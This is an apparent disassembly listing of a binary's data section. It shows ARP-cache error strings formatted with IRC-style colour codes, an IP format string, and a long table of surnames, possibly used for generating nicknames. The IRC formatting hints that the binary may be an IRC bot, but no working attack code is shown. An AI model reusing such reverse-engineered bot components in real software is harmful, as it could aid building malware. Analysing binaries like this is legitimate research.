sub_40AA20:loc_40AABFo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aUnableToAlloca db 'unable to allocate ARP cache',0 align 4 unk_42EBBC db 2Dh ; - ; DATA XREF: sub_40AA20:loc_40AA75o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheIsEmpt db 'ARP cache is empty',0 align 10h unk_42EBE0 db 2Dh ; - ; DATA XREF: sub_40AA20+45o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGettingAr db 'error getting ARP cache: %d',0 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AAF8+46o ; sub_40BE55+38o aReal db 'real',0 ; DATA XREF: sub_40AF07+Fr align 10h dd 0 dword_42EC24 dd 0 ; DATA XREF: sub_40AF07:loc_40AF2Er off_42EC28 dd offset sub_40ABA1 ; DATA XREF: sub_40AF07+4Ar aConst db 'const',0 align 8 dd 1, 40AC0Dh, 7474656Ch, 7265h, 0 dd 2, 40AC6Bh, 706D6F63h, 2 dup(0) dd 3, 40ACB8h, 6E756F63h, 797274h, 0 dd 4, 40AD27h, 736Fh, 2 dup(0) dd 5, 40AD9Ch off_42EC90 dd offset aAbdulrazak ; DATA XREF: sub_40ABA1+20r ; "Abdulrazak" dd offset aAckerman ; "Ackerman" dd offset aAdams ; "Adams" dd offset aAddison ; "Addison" dd offset aAdelstein ; "Adelstein" dd offset aAdibe ; "Adibe" dd offset aAdorno ; "Adorno" dd offset aAhlers ; "Ahlers" dd offset aAlavi ; "Alavi" dd offset aAlcorn ; "Alcorn" dd offset aAlda ; "Alda" dd offset aAleks ; "Aleks" dd offset aAllison ; "Allison" dd offset aAlongi ; "Alongi" dd offset aAltavilla ; "Altavilla" dd offset aAltenberger ; "Altenberger" dd offset aAltenhofen ; "Altenhofen" dd offset aAmaral ; "Amaral" dd offset aAmatangelo ; "Amatangelo" dd offset aAmeer ; "Ameer" dd offset aAmsden ; "Amsden" dd offset aAnand ; "Anand" dd offset aAndel ; "Andel" dd offset aAndo ; "Ando" dd offset aAndrelus ; "Andrelus" dd offset aAndron ; "Andron" dd offset aAnfinrud ; "Anfinrud" dd offset aAnsley ; "Ansley" dd offset aAnthony ; "Anthony" dd offset aAntos ; "Antos" dd offset aArbia ; "Arbia" dd offset aArduini ; "Arduini" dd offset aArellano ; "Arellano" dd offset aAristotle ; "Aristotle" dd offset aArjas ; "Arjas" dd offset aArky ; "Arky" dd offset aAtkins ; "Atkins" dd offset aAugustus ; "Augustus" dd offset aAurelius ; "Aurelius" dd offset aAxelrod ; "Axelrod" dd offset aAxworthy ; "Axworthy" dd offset aAyiemba ; "Ayiemba" dd offset aAykroyd ; "Aykroyd" dd offset aAyling ; "Ayling" dd offset aAzima ; "Azima" dd offset aBachmuth ; "Bachmuth" dd offset aBackus ; "Backus" dd offset aBady ; "Bady" dd offset aBaglivo ; "Baglivo" dd offset aBagnold ; "Bagnold" dd offset aBailar ; "Bailar" dd offset aBakanowsky ; "Bakanowsky" dd offset aBaleja ; "Baleja" dd offset aBallatori ; "Ballatori" dd offset aBallew ; "Ballew" dd offset aBaltz ; "Baltz" dd offset aBanta ; "Banta" dd offset aBarabesi ; "Barabesi" dd offset aBarajas ; "Barajas" dd offset aBaranczak ; "Baranczak" dd offset aBaranowska ; "Baranowska" dd offset aBarberi ; "Barberi" dd offset aBarbetti ; "Barbetti" dd offset aBarneson ; "Barneson" dd offset aBarnett ; "Barnett" dd offset aBarriola ; "Barriola" dd offset aBarry ; "Barry" dd offset aBartholomew ; "Bartholomew" dd offset aBartolome ; "Bartolome" dd offset aBartoo ; "Bartoo" dd offset aBasavappa ; "Basavappa" dd offset aBashevis ; "Bashevis" dd offset aBatchelder ; "Batchelder" dd offset aBaumiller ; "Baumiller" dd offset aBayles ; "Bayles" dd offset aBayo ; "Bayo" dd offset aBeacon ; "Beacon" dd offset aBeal ; "Beal" dd offset aBean ; "Bean" dd offset aBeckman ; "Beckman" dd offset aBeder ; "Beder" dd offset aBedford ; "Bedford" dd offset aBehenna ; "Behenna" dd offset aBelanger ; "Belanger" dd offset aBelaoussof ; "Belaoussof" dd offset aBelfer ; "Belfer" dd offset aBelinCollart ; "Belin-Collart" dd offset aBellavance ; "Bellavance" dd offset aBellhouse ; "Bellhouse" dd offset aBellini ; "Bellini" dd offset aBelloc ; "Belloc" dd offset aBenedictDye ; "Benedict-Dye" dd offset aBergson ; "Bergson" dd offset aBerkeJenkins ; "Berke-Jenkins" dd offset aBernardo ; "Bernardo" dd offset aBernassola ; "Bernassola" dd offset aBernston ; "Bernston" dd offset aBerrizbeitia ; "Berrizbeitia" dd offset aBetti ; "Betti" dd offset aBeynart ; "Beynart" dd offset aBiagioli ; "Biagioli" dd offset aBickel ; "Bickel" dd offset aBinion ; "Binion" dd offset aBir ; "Bir" dd offset aBisema ; "Bisema" dd offset aBisho ; "Bisho" dd offset aBlackbourn ; "Blackbourn" dd offset aBlackwell ; "Blackwell" dd offset aBlagg ; "Blagg" dd offset aBlakemore ; "Blakemore" dd offset aBlanke ; "Blanke" dd offset aBliss ; "Bliss" dd offset aBlizard ; "Blizard" dd offset aBloch ; "Bloch" dd offset aBloembergen ; "Bloembergen" dd offset aBloemhof ; "Bloemhof" dd offset aBloxham ; "Bloxham" dd offset aBlyth ; "Blyth" dd offset aBolger ; "Bolger" dd offset aBolick ; "Bolick" dd offset aBollinger ; "Bollinger" dd offset aBologna ; "Bologna" dd offset aBoner ; "Boner" dd offset aBonham ; "Bonham" dd offset aBoniface ; "Boniface" dd offset aBontempo ; "Bontempo" dd offset aBook ; "Book" dd offset aBookbinder ; "Bookbinder" dd offset aBoone ; "Boone" dd offset aBoorstin ; "Boorstin" dd offset aBorack ; "Borack" dd offset aBorden ; "Borden" dd offset aBossi ; "Bossi" dd offset aBothman ; "Bothman" dd offset aBotosh ; "Botosh" dd offset aBoudin ; "Boudin" dd offset aBoudrot ; "Boudrot" dd offset aBourneuf ; "Bourneuf" dd offset aBowers ; "Bowers" dd offset aBoxer ; "Boxer" dd offset aBoyajian ; "Boyajian" dd offset aBoyes ; "Boyes" dd offset aBoyland ; "Boyland" dd offset aBoym ; "Boym" dd offset aBoyne ; "Boyne" dd offset aBracalente ; "Bracalente" dd offset aBradac ; "Bradac" dd offset aBradach ; "Bradach" dd offset aBrecht ; "Brecht" dd offset aBreed ; "Breed" dd offset aBrenan ; "Brenan" dd offset aBrennan ; "Brennan" dd offset aBrewer ; "Brewer" dd offset aBrewer ; "Brewer" dd offset aBridgeman ; "Bridgeman" dd offset aBridges ; "Bridges" dd offset aBrinton ; "Brinton" dd offset aBritz ; "Britz" dd offset aBroca ; "Broca" dd offset aBrook ; "Brook" dd offset aBrzycki ; "Brzycki" dd offset aBuchan ; "Buchan" dd offset aBudding ; "Budding" dd offset aBullard ; "Bullard" dd offset aBunton ; "Bunton" dd offset aBurden ; "Burden" dd offset aBurdzy ; "Burdzy" dd offset aBurke ; "Burke" dd offset aBurridge ; "Burridge" dd offset aBusetta ; "Busetta" dd offset aByatt ; "Byatt" dd offset aByerly ; "Byerly" dd offset aByrd ; "Byrd" dd offset aCage ; "Cage" dd offset aCalnan ; "Calnan" dd offset aCammelli ; "Cammelli" dd offset aCammilleri ; "Cammilleri" dd offset aCanley ; "Canley" dd offset aCapanni ; "Capanni" dd offset aCaperton ; "Caperton" dd offset aCapocaccia ; "Capocaccia" dd offset aCapodilupo ; "Capodilupo" dd offset aCappuccio ; "Cappuccio" dd offset aCapursi ; "Capursi" dd offset aCaratozzolo ; "Caratozzolo" dd offset aCarayannopoulo ; "Carayannopoulos" dd offset aCarlin ; "Carlin" dd offset aCarlos ; "Carlos" dd offset aCarlyle ; "Carlyle" dd offset aCarmichael ; "Carmichael" dd offset aCaroti ; "Caroti" dd offset aCarper ; "Carper" dd offset aCartmill ; "Cartmill" dd offset aCascio ; "Cascio" dd offset aCase ; "Case" dd offset aCaspar ; "Caspar" dd offset aCastelda ; "Castelda" dd offset aCavanagh ; "Cavanagh" dd offset aCavell ; "Cavell" dd offset aCeniceros ; "Ceniceros" dd offset aCerioli ; "Cerioli" dd offset aChapman ; "Chapman" dd offset aCharles ; "Charles" dd offset aCheang ; "Cheang" dd offset aCherry ; "Cherry" dd offset aChervinsky ; "Chervinsky" dd offset aChiassino ; "Chiassino" dd offset aChien ; "Chien" dd offset aChildress ; "Childress" dd offset aChilds ; "Childs" dd offset aChinipardaz ; "Chinipardaz" dd offset aChinman ; "Chinman" dd offset aChristenson ; "Christenson" dd offset aChristian ; "Christian" dd offset aChristiano ; "Christiano" dd offset aChristie ; "Christie" dd offset aChristopher ; "Christopher" dd offset aChu ; "Chu" dd offset aChupasko ; "Chupasko" dd offset aChurch ; "Church" dd offset aCiampaglia ; "Ciampaglia" dd offset aCicero ; "Cicero" dd offset aCifarelli ; "Cifarelli" dd offset aClaffey ; "Claffey" dd offset aClancy ; "Clancy" dd offset aClark ; "Clark" dd offset aClement ; "Clement" dd offset aClifton ; "Clifton" dd offset aClow ; "Clow" dd offset aCoblenz ; "Coblenz" dd offset aCoito ; "Coito" dd offset aColdren ; "Coldren" dd offset aColella ; "Colella" dd offset aCollard ; "Collard" dd offset aCollis ; "Collis" dd offset aCompton ; "Compton" dd offset aCompton ; "Compton" dd offset aComstock ; "Comstock" dd offset aConcino ; "Concino" dd offset aCondodina ; "Condodina" dd offset aConnors ; "Connors" dd offset aCorey ; "Corey" dd offset aCornish ; "Cornish" dd offset aCosmides ; "Cosmides" dd offset aCounter ; "Counter" dd offset aCoutaux ; "Coutaux" dd offset aCrawford ; "Crawford" dd offset aCrocker ; "Crocker" dd offset aCroshaw ; "Croshaw" dd offset aCroxen ; "Croxen" dd offset aCroxton ; "Croxton" dd offset aCui ; "Cui" dd offset aCurrier ; "Currier" dd offset aCutler ; "Cutler" dd offset aCvek ; "Cvek" dd offset aCyders ; "Cyders" dd offset aDasilva ; "daSilva" dd offset aDaldalian ; "Daldalian" dd offset aDaly ; "Daly" dd offset aDAmbra ; "D'Ambra" dd offset aDanieli ; "Danieli" dd offset aDante ; "Dante" dd offset aDapice ; "Dapice" dd offset aDArcangelo ; "D'arcangelo" dd offset aDas ; "Das" dd offset aDasgupta ; "Dasgupta" dd offset aDaskalu ; "Daskalu" dd offset aDavid ; "David" dd offset aDawkins ; "Dawkins" dd offset aDegennaro ; "DeGennaro" dd offset aDelapena ; "DeLaPena" dd offset aDelEnclos ; "del'Enclos" dd offset aDerousse ; "deRousse" dd offset aDebroff ; "Debroff" dd offset aDees ; "Dees" dd offset aDefeciani ; "Defeciani" dd offset aDelattre ; "Delattre" dd offset aDeleonRendon ; "Deleon-Rendon" dd offset aDelger ; "Delger" dd offset aDellAcqua ; "Dell'acqua" dd offset aDeming ; "Deming" dd offset aDempster ; "Dempster" dd offset aDemusz ; "Demusz" dd offset aDenault ; "Denault" dd offset aDenham ; "Denham" dd offset aDenison ; "Denison" dd offset aDesombre ; "Desombre" dd offset aDeutsch ; "Deutsch" dd offset aDFini ; "D'fini" dd offset aDicks ; "Dicks" dd offset aDiefenbach ; "Diefenbach" dd offset aDifabio ; "Difabio" dd offset aDifronzo ; "Difronzo" dd offset aDilworth ; "Dilworth" dd offset aDionysius ; "Dionysius" dd offset aDirksen ; "Dirksen" dd offset aDockery ; "Dockery" dd offset aDoherty ; "Doherty" dd offset aDonahue ; "Donahue" dd offset aDonner ; "Donner" dd offset aDoonan ; "Doonan" dd offset aDore ; "Dore" dd offset aDorf ; "Dorf" dd offset aDosi ; "Dosi" dd offset aDoty ; "Doty" dd offset aDoug ; "Doug" dd offset aDowsland ; "Dowsland" dd offset aDrinker ; "Drinker" dd offset aDSouza ; "D'souza" dd offset aDuffin ; "Duffin" dd offset aDurrett ; "Durrett" dd offset aDussault ; "Dussault" dd offset aDwyer ; "Dwyer" dd offset aEardley ; "Eardley" dd offset aEbeling ; "Ebeling" dd offset aEckel ; "Eckel" dd offset aEdley ; "Edley" dd offset aEdner ; "Edner" dd offset aEdward ; "Edward" dd offset aEickenhorst ; "Eickenhorst" dd offset aEliasson ; "Eliasson" dd offset aElmendorf ; "Elmendorf" dd offset aElmerick ; "Elmerick" dd offset aElvis ; "Elvis" dd offset aEncinas ; "Encinas" dd offset aEnyeart ; "Enyeart" dd offset aEppling ; "Eppling" dd offset aErbach ; "Erbach" dd offset aErdman ; "Erdman" dd offset aErdos ; "Erdos" dd offset aErez ; "Erez" dd offset aEspinoza ; "Espinoza" dd offset aEstes ; "Estes" dd offset aEtter ; "Etter" dd offset aEuripides ; "Euripides" dd offset aEverett ; "Everett" dd offset aFabbris ; "Fabbris" dd offset aFagan ; "Fagan" dd offset aFaioes ; "Faioes" dd offset aFalcoAcosta ; "Falco-Acosta" dd offset aFalorsi ; "Falorsi" dd offset aFaris ; "Faris" dd offset aFarone ; "Farone" dd offset aFarren ; "Farren" dd offset aFasso ; "Fasso'" dd offset aFates ; "Fates" dd offset aFeigenbaum ; "Feigenbaum" dd offset aFejzo ; "Fejzo" dd offset aFeldman ; "Feldman" dd offset aFernald ; "Fernald" dd offset aFernandes ; "Fernandes" dd offset aFerrante ; "Ferrante" dd offset aFerriell ; "Ferriell" dd offset aFeuer ; "Feuer" dd offset aFido ; "Fido" dd offset aField ; "Field" dd offset aFink ; "Fink" dd offset aFinkelstein ; "Finkelstein" dd offset aFinnegan ; "Finnegan" dd offset aFiorina ; "Fiorina" dd offset aFisk ; "Fisk" dd offset aFitzmaurice ; "Fitzmaurice" dd offset aFlier ; "Flier" dd offset aFlores ; "Flores" dd offset aFolks ; "Folks" dd offset aForester ; "Forester" dd offset aFortes ; "Fortes" dd offset aFortier ; "Fortier" dd offset aFossey ; "Fossey" dd offset aFossi ; "Fossi" dd offset aFrancisco ; "Francisco" dd offset aFranklinKenea ; "Franklin-Kenea" dd offset aFranz ; "Franz" dd offset aFrazierDavis ; "Frazier-Davis" dd offset aFreid ; "Freid" dd offset aFreundlich ; "Freundlich" dd offset aFried ; "Fried" dd offset aFriedland ; "Friedland" dd offset aFrisken ; "Frisken" dd offset aFrowiss ; "Frowiss" dd offset aFryberger ; "Fryberger" dd offset aFrye ; "Frye" dd offset aFujiiAbe ; "Fujii-Abe" dd offset aFuller ; "Fuller" dd offset aFurth ; "Furth" dd offset aFusaro ; "Fusaro" dd offset aGabrielli ; "Gabrielli" dd offset aGaggiotti ; "Gaggiotti" dd offset aGaleotti ; "Galeotti" dd offset aGalwey ; "Galwey" dd offset aGambini ; "Gambini" dd offset aGarfield ; "Garfield" dd offset aGarman ; "Garman" dd offset aGaronna ; "Garonna" dd offset aGeller ; "Geller" dd offset aGemberling ; "Gemberling" dd offset aGeorgi ; "Georgi" dd offset aGerrett ; "Gerrett" dd offset aGhorai ; "Ghorai" dd offset aGibbens ; "Gibbens" dd offset aGibson ; "Gibson" dd offset aGilbert ; "Gilbert" dd offset aGili ; "Gili" dd offset aGill ; "Gill" dd offset aGillispie ; "Gillispie" dd offset aGist ; "Gist" dd offset aGleason ; "Gleason" dd offset aGlegg ; "Glegg" dd offset aGlendon ; "Glendon" dd offset aGoldfarb ; "Goldfarb" dd offset aGoncalves ; "Goncalves" dd offset aGood ; "Good" dd offset aGoodearl ; "Goodearl" dd offset aGoody ; "Goody" dd offset aGozzi ; "Gozzi" dd offset aGravell ; "Gravell" dd offset aGreenberg ; "Greenberg" dd offset aGreenfeld ; "Greenfeld" dd offset aGriffiths ; "Griffiths" dd offset aGrigoletto ; "Grigoletto" dd offset aGrummell ; "Grummell" dd offset aGruner ; "Gruner" dd offset aGruppe ; "Gruppe" dd offset aGuenthart ; "Guenthart" dd offset aGunn ; "Gunn" dd offset aGuo ; "Guo" dd offset aHa ; "Ha" dd offset aHaar ; "Haar" dd offset aHackman ; "Hackman" dd offset aHackshaw ; "Hackshaw" dd offset aHaley ; "Haley" dd offset aHalkias ; "Halkias" dd offset aHallowell ; "Hallowell" dd offset aHalpert ; "Halpert" dd offset aHambarzumjan ; "Hambarzumjan" dd offset aHamer ; "Hamer" dd offset aHammerness ; "Hammerness" dd offset aHand ; "Hand" dd offset aHanssen ; "Hanssen" dd offset aHarding ; "Harding" dd offset aHargraves ; "Hargraves" dd offset aHarlow ; "Harlow" dd offset aHarrigan ; "Harrigan" dd offset aHartman ; "Hartman" dd offset aHartmann ; "Hartmann" dd offset aHartnett ; "Hartnett" dd offset aHarwell ; "Harwell" dd offset aHaviaras ; "Haviaras" dd offset aHawkes ; "Hawkes" dd offset aHayes ; "Hayes" dd offset aHaynes ; "Haynes" dd offset aHazlewood ; "Hazlewood" dd offset aHeermans ; "Heermans" dd offset aHeft ; "Heft" dd offset aHeiland ; "Heiland" dd offset aHellman ; "Hellman" dd offset aHellmiss ; "Hellmiss" dd offset aHelprin ; "Helprin" dd offset aHemphill ; "Hemphill" dd offset aHenery ; "Henery" dd offset aHenrichs ; "Henrichs" dd offset aHernandez ; "Hernandez" dd offset aHerrera ; "Herrera" dd offset aHester ; "Hester" dd offset aHeubert ; "Heubert" dd offset aHeyeck ; "Heyeck" dd offset aHimmelfarb ; "Himmelfarb" dd offset aHind ; "Hind" dd offset aHirst ; "Hirst" dd offset aHitchcock ; "Hitchcock" dd offset aHoang ; "Hoang" dd offset aHock ; "Hock" dd offset aHoffer ; "Hoffer" dd offset aHoffman ; "Hoffman" dd offset aHokanson ; "Hokanson" dd offset aHokoda ; "Hokoda" dd offset aHolmes ; "Holmes" dd offset aHoloien ; "Holoien" dd offset aHolter ; "Holter" dd offset aHolway ; "Holway" dd offset aHolzman ; "Holzman" dd offset aHooker ; "Hooker" dd offset aHopkins ; "Hopkins" dd offset aHorsley ; "Horsley" dd offset aHoshida ; "Hoshida" dd offset aHostage ; "Hostage" dd offset aHottle ; "Hottle" dd offset aHoward ; "Howard" dd offset aHoy ; "Hoy" dd offset aHuey ; "Huey" dd offset aHuidekoper ; "Huidekoper" dd offset aHungerford ; "Hungerford" dd offset aHuntington ; "Huntington" dd offset aHupp ; "Hupp" dd offset aHurtubise ; "Hurtubise" dd offset aHutchings ; "Hutchings" dd offset aHyde ; "Hyde" dd offset aIaquinta ; "Iaquinta" dd offset aIchikawa ; "Ichikawa" dd offset aIgarashi ; "Igarashi" dd offset aInamura ; "Inamura" dd offset aInniss ; "Inniss" dd offset aIsaac ; "Isaac" dd offset aIsaievych ; "Isaievych" dd offset aIsbill ; "Isbill" dd offset aIsserman ; "Isserman" dd offset aIyer ; "Iyer" dd offset aJacenko ; "Jacenko" dd offset aJackson ; "Jackson" dd offset aJagers ; "Jagers" dd offset aJagger ; "Jagger" dd offset aJagoe ; "Jagoe" dd offset aJain ; "Jain" dd offset aJamil ; "Jamil" dd offset aJanjigian ; "Janjigian" dd offset aJarnagin ; "Jarnagin" dd offset aJarrell ; "Jarrell" dd offset aJay ; "Jay" dd offset aJeffers ; "Jeffers" dd offset aJellis ; "Jellis" dd offset aJenkins ; "Jenkins" dd offset aJespersen ; "Jespersen" dd offset aJewett ; "Jewett" dd offset aJohannesson ; "Johannesson" dd offset aJohannsen ; "Johannsen" dd offset aJohns ; "Johns" dd offset aJolly ; "Jolly" dd offset aJorgensen ; "Jorgensen" dd offset aJucks ; "Jucks" dd offset aJuliano ; "Juliano" dd offset aJulious ; "Julious" dd offset aKabbash ; "Kabbash" dd offset aKaboolian ; "Kaboolian" dd offset aKafadar ; "Kafadar" dd offset aKalbfleisch ; "Kalbfleisch" dd offset aKaligian ; "Kaligian" dd offset aKalil ; "Kalil" dd offset aKalinowski ; "Kalinowski" dd offset aKalman ; "Kalman" dd offset aKamel ; "Kamel" dd offset aKangis ; "Kangis" dd offset aKarpouzes ; "Karpouzes" dd offset aKassower ; "Kassower" dd offset aKasten ; "Kasten" dd offset aKawachi ; "Kawachi" dd offset aKee ; "Kee" dd offset aKeenan ; "Keenan" dd offset aKeepper ; "Keepper" dd offset aKeith ; "Keith" dd offset aKelker ; "Kelker" dd offset aKelsey ; "Kelsey" dd offset aKempton ; "Kempton" dd offset aKemsley ; "Kemsley" dd offset aKendall ; "Kendall" dd offset aKerry ; "Kerry" dd offset aKeul ; "Keul" dd offset aKhong ; "Khong" dd offset aKimmel ; "Kimmel" dd offset aKimmett ; "Kimmett" dd offset aKimura ; "Kimura" dd offset aKindall ; "Kindall" dd offset aKinsley ; "Kinsley" dd offset aKippenberger ; "Kippenberger" dd offset aKirscht ; "Kirscht" dd offset aKittridge ; "Kittridge" dd offset aKleckner ; "Kleckner" dd offset aKleiman ; "Kleiman" dd offset aKleinfelder ; "Kleinfelder" dd offset aKlemperer ; "Klemperer" dd offset aKling ; "Kling" dd offset aKlinkenborg ; "Klinkenborg" dd offset aKlint ; "Klint" dd offset aKnuff ; "Knuff" dd offset aKobrick ; "Kobrick" dd offset aKoch ; "Koch" dd offset aKohn ; "Kohn" dd offset aKoivumaki ; "Koivumaki" dd offset aKommer ; "Kommer" dd offset aKoniaris ; "Koniaris" dd offset aKonrad ; "Konrad" dd offset aKool ; "Kool" dd offset aKorzybski ; "Korzybski" dd offset aKotter ; "Kotter" dd offset aKovaks ; "Kovaks" dd offset aKraemer ; "Kraemer" dd offset aKrailo ; "Krailo" dd offset aKrasney ; "Krasney" dd offset aKraus ; "Kraus" dd offset aKroemer ; "Kroemer" dd offset aKrysiak ; "Krysiak" dd offset aKuenzli ; "Kuenzli" dd offset aKumar ; "Kumar" dd offset aKusman ; "Kusman" dd offset aKuwabara ; "Kuwabara" dd offset aLa ; "La" dd offset aLabunka ; "Labunka" dd offset aLafler ; "Lafler" dd offset aLaing ; "Laing" dd offset aLallemant ; "Lallemant" dd offset aLandes ; "Landes" dd offset aLankes ; "Lankes" dd offset aLantieri ; "Lantieri" dd offset aLanzit ; "Lanzit" dd offset aLaserna ; "Laserna" dd offset aLashley ; "Lashley" dd offset aLawless ; "Lawless" dd offset aLecar ; "Lecar" dd offset aLecce ; "Lecce" dd offset aLeclercq ; "Leclercq" dd offset aLeite ; "Leite" dd offset aLenard ; "Lenard" dd offset aLEnclos ; "l'Enclos" dd offset aLesser ; "Lesser" dd offset aLessi ; "Lessi" dd offset aLiakos ; "Liakos" dd offset aLidano ; "Lidano" dd offset aLiem ; "Liem" dd offset aLight ; "Light" dd offset aLightfoot ; "Lightfoot" dd offset aLim ; "Lim" dd offset aLinares ; "Linares" dd offset aLinda ; "Linda" dd offset aLinder ; "Linder" dd offset aLine ; "Line" dd offset aLinehan ; "Linehan" dd offset aLinzee ; "Linzee" dd offset aLippmann ; "Lippmann" dd offset aLipponen ; "Lipponen" dd offset aLittle ; "Little" dd offset aLitvak ; "Litvak" dd offset aLivernash ; "Livernash" dd offset aLivi ; "Livi" dd offset aLivolsi ; "Livolsi" dd offset aLizardo ; "Lizardo" dd offset aLocatelli ; "Locatelli" dd offset aLongworth ; "Longworth" dd offset aLoss ; "Loss" dd offset aLoveman ; "Loveman" dd offset aLowenstein ; "Lowenstein" dd offset aLoza ; "Loza" dd offset aLubin ; "Lubin" dd offset aLucas ; "Lucas" dd offset aLuciano ; "Luciano" dd offset aLuczkow ; "Luczkow" dd offset aLuecke ; "Luecke" dd offset aLunetta ; "Lunetta" dd offset aLuoma ; "Luoma" dd offset aLussier ; "Lussier" dd offset aLutcavage ; "Lutcavage" dd offset aLuzader ; "Luzader" dd offset aMa ; "Ma" dd offset aMaccormac ; "Maccormac" dd offset aMacdonald ; "Macdonald" dd offset aMaceachern ; "Maceachern" dd offset aMacintyre ; "Macintyre" dd offset aMackenney ; "Mackenney" dd offset aMacmillan ; "MacMillan" dd offset aMacy ; "Macy" dd offset aMadigan ; "Madigan" dd offset aMaggio ; "Maggio" dd offset aMahony ; "Mahony" dd offset aMaier ; "Maier" dd offset aMaineHershey ; "Maine-Hershey" dd offset aMaisano ; "Maisano" dd offset aMalatesta ; "Malatesta" dd offset aMaller ; "Maller" dd offset aMalova ; "Malova" dd offset aManalis ; "Manalis" dd offset aMandel ; "Mandel" dd offset aManganiello ; "Manganiello" dd offset aMantovan ; "Mantovan" dd offset aMarch ; "March" dd offset aMarchbanks ; "Marchbanks" dd offset aMarcus ; "Marcus" dd offset aMargalit ; "Margalit" dd offset aMargetts ; "Margetts" dd offset aMarques ; "Marques" dd offset aMartinez ; "Martinez" dd offset aMartochio ; "Martochio" dd offset aMarton ; "Marton" dd offset aMarubini ; "Marubini" dd offset aMass ; "Mass" dd offset aMatalka ; "Matalka" dd offset aMatarazzo ; "Matarazzo" dd offset aMatsukata ; "Matsukata" dd offset aMattson ; "Mattson" dd offset aMauzy ; "Mauzy" dd offset aMay ; "May" dd offset aMazzali ; "Mazzali" dd offset aMazziotta ; "Mazziotta" dd offset aMcbride ; "Mcbride" dd offset aMccaffery ; "Mccaffery" dd offset aMccall ; "Mccall" dd offset aMcclearn ; "Mcclearn" dd offset aMcdowell ; "Mcdowell" dd offset aMcelroy ; "Mcelroy" dd offset aMcfadden ; "McFadden" dd offset aMcghee ; "Mcghee" dd offset aMcgoldrick ; "Mcgoldrick" dd offset aMcilroy ; "McIlroy" dd offset aMcintosh ; "Mcintosh" dd offset aMckenna ; "Mckenna" dd offset aMclane ; "Mclane" dd offset aMclaren ; "Mclaren" dd offset aMcnealy ; "Mcnealy" dd offset aMcnulty ; "Mcnulty" dd offset aMeccariello ; "Meccariello" dd offset aMemisoglu ; "Memisoglu" dd offset aMenzies ; "Menzies" dd offset aMerikoski ; "Merikoski" dd offset aMerlani ; "Merlani" dd offset aMerminod ; "Merminod" dd offset aMerseth ; "Merseth" dd offset aMerz ; "Merz" dd offset aMetelka ; "Metelka" dd offset aMetropolis ; "Metropolis" dd offset aMeurer ; "Meurer" dd offset aMichelman ; "Michelman" dd offset aMiddle ; "Middle" dd offset aMieher ; "Mieher" dd offset aMills ; "Mills" dd offset aMinh ; "Minh" dd offset aMini ; "Mini" dd offset aMinichiello ; "Minichiello" dd offset aGonzalez ; "Gonzalez" dd offset aMitropoulos ; "Mitropoulos" dd offset aMittal ; "Mittal" dd offset aMocroft ; "Mocroft" dd offset aModestino ; "Modestino" dd offset aMoeller ; "Moeller" dd offset aMohr ; "Mohr" dd offset aMoiamedi ; "Moiamedi" dd offset aMonque ; "Monque" dd offset aMontilio ; "Montilio" dd offset aMooredech_ ; "MooreDeCh." dd offset aMorani ; "Morani" dd offset aMoreton ; "Moreton" dd offset aMorrison ; "Morrison" dd offset aMorrow ; "Morrow" dd offset aMortimer ; "Mortimer" dd offset aMosher ; "Mosher" dd offset aMosler ; "Mosler" dd offset aMostafavi ; "Mostafavi" dd offset aMotooka ; "Motooka" dd offset aMudarri ; "Mudarri" dd offset aMuello ; "Muello" dd offset aMugnai ; "Mugnai" dd offset aMulkern ; "Mulkern" dd offset aMulroy ; "Mulroy" dd offset aMumford ; "Mumford" dd offset aMussachio ; "Mussachio" dd offset aNaddeo ; "Naddeo" dd offset aNapolitano ; "Napolitano" dd offset aNardi ; "Nardi" dd offset aNardone ; "Nardone" dd offset aNaviaux ; "Naviaux" dd offset aNayduch ; "Nayduch" dd offset aNelson ; "Nelson" dd offset aNenna ; "Nenna" dd offset aNesci ; "Nesci" dd offset aNeuman ; "Neuman" dd offset aNewfeld ; "Newfeld" dd offset aNewlin ; "Newlin" dd offset aNg ; "Ng" dd offset aNi_0 ; "Ni" dd offset aNickerson ; "Nickerson" dd offset aNickoloff ; "Nickoloff" dd offset aNisenson ; "Nisenson" dd offset aNitabach ; "Nitabach" dd offset aNotman ; "Notman" dd offset aNuzum ; "Nuzum" dd offset aOcougne ; "Ocougne" dd offset aOgata ; "Ogata" dd offset aOh ; "Oh" dd offset aOHagan ; "O'hagan" dd offset aOldford ; "Oldford" dd offset aOlsen ; "Olsen" dd offset aOlson ; "Olson" dd offset aOlszewski ; "Olszewski" dd offset aOMalley ; "O'malley" dd offset aOman ; "Oman" dd offset aOMeara ; "O'meara" dd offset aOpel ; "Opel" dd offset aOray ; "Oray" dd offset aOrfield ; "Orfield" dd offset aOrsi ; "Orsi" dd offset aOspina ; "Ospina" dd offset aOstrowski ; "Ostrowski" dd offset aOttaviani ; "Ottaviani" dd offset aOtten ; "Otten" dd offset aOuchida ; "Ouchida" dd offset aOvid ; "Ovid" dd offset aPaesdealmeida ; "PaesDealmeida" dd offset aPaine ; "Paine" dd offset aPalayoor ; "Palayoor" dd offset aPalepu ; "Palepu" dd offset aPallara ; "Pallara" dd offset aPalmitesta ; "Palmitesta" dd offset aPanadero ; "Panadero" dd offset aPanizzon ; "Panizzon" dd offset aPantilla ; "Pantilla" dd offset aPaoletti ; "Paoletti" dd offset aParmeggiani ; "Parmeggiani" dd offset aParris ; "Parris" dd offset aPartridge ; "Partridge" dd offset aPascucci ; "Pascucci" dd offset aPatefield ; "Patefield" dd offset aPatrick ; "Patrick" dd offset aPattullo ; "Pattullo" dd offset aPavetti ; "Pavetti" dd offset aPavlon ; "Pavlon" dd offset aPawloski ; "Pawloski" dd offset aPaynter ; "Paynter" dd offset aPeabody ; "Peabody" dd offset aPearlberg ; "Pearlberg" dd offset aPederson ; "Pederson" dd offset aPeishel ; "Peishel" dd offset aPenny ; "Penny" dd offset aPereira ; "Pereira" dd offset aPerko ; "Perko" dd offset aPerlak ; "Perlak" dd offset aPerlman ; "Perlman" dd offset aPerna ; "Perna" dd offset aPerone ; "Perone" dd offset aPerrimon ; "Perrimon" dd offset aPeters ; "Peters" dd offset aPetruzello ; "Petruzello" dd offset aPettibone ; "Pettibone" dd offset aPettit ; "Pettit" dd offset aPfister ; "Pfister" 